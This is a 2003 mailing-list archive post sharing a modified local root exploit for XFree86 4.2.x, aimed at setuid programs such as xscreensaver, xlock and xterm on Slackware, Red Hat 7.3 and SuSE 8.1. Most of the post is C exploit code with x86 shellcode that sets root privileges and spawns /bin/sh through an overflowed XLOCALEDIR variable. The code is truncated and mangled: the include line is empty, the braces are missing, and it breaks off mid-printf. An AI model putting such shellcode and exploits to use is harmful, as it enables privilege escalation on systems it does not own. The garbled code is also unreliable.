|
|||||||||||
|
Re: xscreensaver exploit for Redhat 7.3
From: Inode <inode(at)mediaservice.net>
Date: Fri Mar 07 2003 - 15:45:51 EST
Comments are welcome. Sincerely, +-------------------------------------------------------------------+ /* Original exploit: ** oC-localX.c - XFree86 Version 4.2.x local root exploit ** By dcryptr && tarranta / oC This exploit is a modified version of the original oC-localX.c built to work without any offset. Some distro have the file: /usr/X11R6/bin/dga +s This program isn't exploitable because it drops privileges before running the Xlib function vulnerable to this overflow. This exploit works on linux x86 on all distro. Tested on: - Slackware 8.1 ( xlock, xscreensaver, xterm) - Redhat 7.3 ( manual +s to xlock ) - Suse 8.1 ( manual +s to xlock ) by Inode */ #include static char shellcode[] =
/* setresuid(0,0,0); */
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80"
/* /bin/sh execve(); */
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
/* exit(0); */
"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
#define ALIGN 0
int main(int argc, char **argv)
char buffer[6000];
int i;
int ret;
char *env[3] = {buffer,shellcode, NULL};
int *ap;
strcpy(buffer, "XLOCALEDIR=");
printf("\nXFree86 4.2.x Exploit modified by Inode } Received on Fri Mar 7 16:16:42 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:38 EDT |
||||||||||
|
|||||||||||